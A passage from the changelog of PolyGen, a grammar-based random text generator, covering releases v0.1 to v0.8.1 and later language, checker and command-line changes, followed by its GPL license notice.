improved: useless unfoldings are detected - warning suppressed: simple recursions are no more detected (was nonsense) - preprocessor bufixed: permutated sequences used to be automatically unfolded within a prodution, leading to incosistent probability distribution; now a subproduction is created - many translations (either syntactical sugars or preprocessings) now are implemented by using local bindings and scopes - compiled grammar files are no more called status files; compiled grammar object files is more suitable - command line option "-nasty" is suppressed: autocompilation of source grammars is now performed automatically - command line option "-T" is suppressed - command line option "-t" now performs termination check and report of inferred label groups - new command line option -l allows top-level initialization of label environment; useful for global symbols requiring some label - command line option "-seed" prevents now shuffling but still compiles grammar source and produces a grammar object file - command line option "-g" renamed to "-pre" - compiled grammar object file loading and storing operations are now enclosed within a lock/unlock pair, allowing concurrent access - new error location system supports file name now - more robust and exhaustive I/O exception system - HOWTO-grm manual is from now on referred as the reference manual - documentation roughly updated in italian only: there might be some minor incosistencies - all known grammars have been modified and corrected according to new features - grammars are no more distributed within the program package * 6/2/2003 - unofficial release v0.8.1 on the website - more readable error position part within message - minor lexing improvement and more self-explainatory lexer and parser error messages - now warnings are grouped into levels (the lower, the higher gravity): new options -W and -pedantic activates respectively a certain level and all of them - grammar checker improved: any cyclic subgraph is now detected and circuit is printed within the error message; potential recursions are detected too as level-2 warnings - grammar checker reengineered in some parts due to complexity increase; it still is single-pass, though - minor I/O exception system improvement - HOWTO manuals updated - oroscopo.grm, photoshop.grm, rappaz.grm and piani.grm added to official grammar package * 9/1/2003 - unofficial release v0.8 on the website - language feature changed: unfolding is no more specified in curly brackets: now the > operator unfolds any unfoldable atom, i.e. non-terminals and any kind of subproduction - new language feature: specifying subproductions in curly brackets on a given sequence allows permutation between themselves - new language feature: subproductions in reverse-doubleangle brackets are unfolded in depth - new language feature: operator < locks the following atom as non-unfoldable - error/warning system improved: all messages now specify the position in the source file where the error/warning occured - grammar checker speed improved: results of subgraph checking are now cached - program now takes more than one source file and processes all of them - now option -g, -t, -T and -nasty does not conflict any more - HOWTO manuals updated - lotto.grm, annunci.grm, monte.grm added to official grammar package * 9/12/2002 - unofficial release v0.7.1 on the website - new language feature: backslash keyword capitalizes following terminal - Unix.umask was not implemented under Windows and an exception used to be rosen; now umask is no more invoked and, as a side effect, permission triplets for status files now are rw-r--r-- on Linux systems with ---w-w- default umask - now status file is closed after laoding, cause storing open_out used to fail under some Windows - HOWTO manuals updated - filippi.grm, prov.grm, ponti.grm added to offical grammar package * 5/12/2002 - unofficial release v0.7 on the website - new and much more powerful preprocessor unfolding system - new language feature: productions in curly brackets are unfolded as if they were specified flat at the very level of the sequence containing them - language feature improvement: unfolding operator for non-terminal symbols may now appear as any atom within a sequence - all official grammars updated and exploit new features, resulting in less ad-hoc grouping tricks and dramatic raising of output quality in conjunction with nasty mode - more robust status file format: now contains version field for detecting compatibility and original grammar timestamp field for more reliable comparison - verbose mode even more verbose and informatory - HOWTO manuals updated - new delonghi.grm added to offical grammar package * 27/11/2002 - unofficial release v0.6.1 on the website - a lexical conflict previor used to cause troubles wherever a subproduction in round brackets followed the standalone dot operator: now it is no more mistaken for the multiselection syntactical sugar - lexical rules changed: now the underscore char cannot belong anymore to terminals, non-terminals and labels - all official grammars updated according to the new rules - ms.grm improved - status file is now created with rw-rw-rw- permission triplets - nasty mode now fails on error accessing status file instead of falling back to normal mode - more robust and self-explainatory I/O exceptions * 22/11/2002 - unofficial release v0.6 on the website - new option -v activates verbose mode - new option -nasty allows the program to store (and reload) the status file of a grammar, which represents the annotated absyn tree used by the generator and the shuffler: this way, multiple launches of the program produce etherogeneous output as if the -X option was used - now arguments are checked for conflicts - new README.win32 for MSWin users claiming known bugs or lacks of the win32 executable due to OCaml compiler/library system incosistencies * 20/11/2002 - unofficial release v0.5 on the website - HOWTO-grm rewritten in HTML - neweconomy.grm renamed to manager.grm - topgirl.grm renamed to teen.grm - new b-film.grm, fiera.grm and genio.grm added to official grammar package - further checker improvement: (EE) overriding of non-terminal symbols epsilon-productions for both destructive label selection and actual epsilon terms - language feature improvement: selections are now nestable and there can be more than one active label; standalone dot operator now empties the list of active labels - further shuffling+random algorithm improvement: now probability weights are given to branches and more-chosen as well as less-chosen ones may be selected - this leads to much better results e.g. in loops - new option -eof specifies string to be used as end of output * xx/10-11/2002 - www.polygen.org website under construction - release-keeping stuff written: README, License, Credits, etc. files - major checker improvement - now things are really getting serious: (EE) existence of non-terminal symbols cyclic recursions recursive unfoldings (WW) potential epsilon-productions undefinition of non-termianl symbol "I'" - support for two checking levels: the former starts from "S" (or specified start sym) and explores grammar in depth; the latter iterates in-depth exploration for all non-terminal syms - new options -t and -T for check-only launches - new option -o specifies output file * 14/10/2002 - unofficial release v0.4 - directory tree restructured: now grammars are collected by language and source code lies on a subdir - HOWTO-grm extended and translated into english as well - bio.grm and neweconomy.grm translated into english - new ms.grm and pythonizer.grm (english only) added to official grammar package; epigrafi.grm and recensioni.grm (italian only) too - source code restyling: checker and generator now stand on separate files and modules - added fairly simple recursive unfolding detection to the checker - new language feature: labels and selection (dot operator) - new shuffling+random algorithm for more etherogeneous output: now generator keeps track of explored path and selects among unchosen (or least chosen) branches only - epsilon term added (underscore keyword) to the absyn - now the optional subproduction is no more a term in the absyn and has been replaced by a syntactical sugar: [P] ==> (_ | P) - now the concatenation operator is a standalone term in the absyn and is no more handled as a special terminal symbol - conventional "I" non-terminal sym specifies grammar information string - new option -S allows specification of a starting non-terminal symbol other than "S" - new option -info stands for "-S I" - new options -ps and -seed allow output of and control over random seed - new option -X for iterating generation several times and exploiting the shuffling algorithm * 2/9/2002 - unofficial release v0.3 - new amiG.grm (dedicated to MatG), bio.grm, neweconomy.grm, payoff.grm and topgirl.grm added to official grammar package - first small HOWTO-grm version in italian written * ...I've been on holyday =;D * 21/7/2002 - unofficial release v0.2 - new language feature: unfolding operator - new preprocessing phase does the unfoldings - absyn has been doubled: the former is both output of the parser and input of the preprocessor; the latter is output of the preprocessor and input of the generator * 20/7/2002 - new tormentoni.grm (dedicated to Sergio) added to official grammar package * 18/7/2002 - first unofficial release v0.1 polygen-1.0.6.ds2/License0000644000175000017500000000132110340417034014500 0ustar enricoenricoPolyGen Copyright (C) 2002-03 Alvise Spano' This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA